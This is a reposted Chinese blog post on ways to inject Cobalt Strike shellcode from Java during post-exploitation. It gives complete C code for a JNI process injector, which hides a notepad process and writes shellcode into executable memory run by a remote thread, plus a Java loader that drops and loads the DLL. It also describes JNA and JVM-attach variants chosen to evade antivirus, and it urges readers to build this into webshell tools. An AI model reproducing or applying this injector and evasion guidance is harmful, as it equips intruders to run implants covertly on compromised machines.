java执行shellcode的几种方法

java执行shellcode的几种方法

在后渗透中常常需要cobaltstrike工具。而向已攻破的服务器注入一段cobaltStrike的shellcode是最便捷的上线方法。偏偏java这种语言屏蔽了很多操作系统的底层细节,注入shellcode又是偏底层的方法。

分享一下java注入shellcode的几种方法

1. JNI

java是不可以调用使用c/c++的函数,为了兼容以及其他方面的考虑,JVM可以通过JNI去调用c等函数。

我们需要写一个c文件,按照JNI规范写好函数。函数从java中接收参数,并交给dll去处理。

同样,还是一样的套路,调用openProcess打开目标进程,写入内存,创建远程线程去执行shellcode,在java中也不例外。

cobaltStrike官网上的例子

  1. /* inject some shellcode... enclosed stuff is the shellcode y0 */
  2. void inject(LPCVOID buffer, int length) {
  3. STARTUPINFO si;
  4. PROCESS_INFORMATION pi;
  5. HANDLE hProcess = NULL;
  6. SIZE_T wrote;
  7. LPVOID ptr;
  8. char lbuffer[1024];
  9. char cmdbuff[1024];
  10. /* reset some stuff */
  11. ZeroMemory( &si, sizeof(si) );
  12. si.cb = sizeof(si);
  13. ZeroMemory( &pi, sizeof(pi) );
  14. /* start a process */
  15. GetStartupInfo(&si);
  16. si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  17. si.wShowWindow = SW_HIDE;
  18. si.hStdOutput = NULL;
  19. si.hStdError = NULL;
  20. si.hStdInput = NULL;
  21. /* resolve windir? */
  22. GetEnvironmentVariableA("windir", lbuffer, 1024);
  23. /* setup our path... choose wisely for 32bit and 64bit platforms */
  24. #ifdef _IS64_
  25. _snprintf(cmdbuff, 1024, "%s\\SysWOW64\\notepad.exe", lbuffer);
  26. #else
  27. _snprintf(cmdbuff, 1024, "%s\\System32\\notepad.exe", lbuffer);
  28. #endif
  29. /* spawn the process, baby! */
  30. if (!CreateProcessA(NULL, cmdbuff, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
  31. return;
  32. hProcess = pi.hProcess;
  33. if( !hProcess )
  34. return;
  35. /* allocate memory in our process */
  36. ptr = (LPVOID)VirtualAllocEx(hProcess, 0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  37. /* write our shellcode to the process */
  38. WriteProcessMemory(hProcess, ptr, buffer, (SIZE_T)length, (SIZE_T *)&wrote);
  39. if (wrote != length)
  40. return;
  41. /* create a thread in the process */
  42. CreateRemoteThread(hProcess, NULL, 0, ptr, NULL, 0, NULL);
  43. }

c文件写好了,只需要再写一个java文件,加载这个编译好的dll就可以植入shellcode

  1. import java.io.*;
  2. public class Demo {
  3. /* our shellcode... populate this from Metasploit */
  4. byte shell[] = new byte[0];
  5. public native void inject(byte[] me);
  6. public void loadLibrary() {
  7. try {
  8. /* our file */
  9. String file = "injector.dll";
  10. /* determine the proper shellcode injection DLL to use */
  11. if ((System.getProperty("os.arch") + "").contains("64"))
  12. file = "injector64.dll";
  13. /* grab our DLL file from this JAR file */
  14. InputStream i = this.getClass().getClassLoader().getResourceAsStream(file);
  15. byte[] data = new byte[1024 * 512];
  16. int length = i.read(data);
  17. i.close();
  18. /* write our DLL file to disk, in a temp folder */
  19. File library = File.createTempFile("injector", ".dll");
  20. library.deleteOnExit();
  21. FileOutputStream output = new FileOutputStream(library, false);
  22. output.write(data, 0, length);
  23. output.close();
  24. /* load our DLL into this Java */
  25. System.load(library.getAbsolutePath());
  26. }
  27. catch (Throwable ex) {
  28. ex.printStackTrace();
  29. }
  30. }
  31. public Demo() {
  32. loadLibrary();
  33. inject(shell);
  34. }
  35. public static void main(String args[]) {
  36. new Demo();
  37. }
  38. }

这种方式的缺点:

  1. 需要落地一个我们自己写的dll文件
  2. 我们自己的dll文件没有签名,很容易被杀软查杀

  3. JNA


既然java与操作系统交互需要使用JNI这么复杂的技术,那么可不可以不用JNI?答案是可以的,JNA技术是由第三方开发。并不是我们不需要JNI技术,而是JNA将复杂的技术细节统统隐藏。一句话概括,JNA不需要我们再写一个c文件,而是直接调用dll。相比较而言,这已经是加载shellcode最好的解决方案。很多APT组织都使用该技术加载shellcode。

通过JNA,调用dll中的方法就像调用java方法一样简单方便。注入shellcode的代码如下(截图某apt组织

图片

CoffeeShot allocates memory in the target process using VirtualAllocEx

当然,这种其实还是有缺点:

  1. JNA所需要的jar包,jdk并不提供,需要我们自己集成,这样的话,我们payload会非常大(1M多
  2. jna为了实现调用dll文件,也会生成一个jni的dll文件。而这个dll文件并没有签名,所以遇到杀软一样被查

  3. JVM


昨天的文章中,我分析了JAVA是如何向其他JVM注入agent包以修改class字节码。我们也可以调用来注入我们自己的shellcode。

冰蝎beta8内存马防查杀破解

该方法虽然同样使用JNI,但是所需的dll文件由JDK提供,安全稳定,且经过oracle签名。

图片

首先我们判断一下JVM中是否已经加载sun.tools.attach.WindowsVirtualMachine这个类,如果没有的话,通过java asm去组装一个类。通过java asm组装的类的代码如下图片

然后通过反射调用即可图片

我认为这种方法比较优雅,不用落地dll文件,利用的dll文件经过数字签名,payload的体积比较小。比较适合冰蝎这种webshell工具集成进来。

java demo已经上传知识星球。多转发多点赞,把这个功能集成到webshell管理工具中

文章转载于”宽字节安全”公众号,已取得转载授权。

  • 发表于 2021-05-27 18:17:21
  • 阅读 ( 7916 )
  • 分类:渗透测试

0 条评论

带头大哥
带头大哥

50 篇文章

站长统计